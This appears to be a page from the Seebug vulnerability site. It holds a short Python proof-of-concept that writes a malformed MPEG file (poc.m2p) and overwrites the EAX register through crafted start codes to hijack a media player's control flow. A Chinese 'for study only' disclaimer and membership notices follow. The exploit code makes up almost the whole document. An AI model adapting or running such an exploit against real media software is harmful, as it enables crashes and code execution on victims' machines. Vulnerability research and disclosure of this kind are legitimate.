l = 3315716 * "A" s1 = ((0,'\x00\x00\x01\xba'), (2048, '\x00\x00\x01\xba'), (3289120, '\x00\x00\x01\xe0\x07'), (3289273, '\x00\x00\x01\xb3'), (3289283, '\xba'), (3289452, '\x42\x42\x42\x42'), (3289468, '\x00\x00\x01\x00'), (3290359, '\x00\x00\x01\x00'), (3301408, '\x00\x00\x01\xe0\x07'), (3303112, '\x00\x00\x01\x00')) # EAX overwrite(3289452, '\x42\x42\x42\x42') call eax+0x24 o = open("c:\\poc.m2p","wb") o.write(l) for i in range(len(s1)): o.seek(s1[i][0], 0) o.write(s1[i][1]) o.close()
※本站提供的任何内容、代码与服务仅供学习,请勿用于非法用途,否则后果自负
您的会员可兑换次数还剩: 次 本次兑换将消耗 1 次
续费请拨打客服热线,感谢您一直支持 Seebug!
暂无评论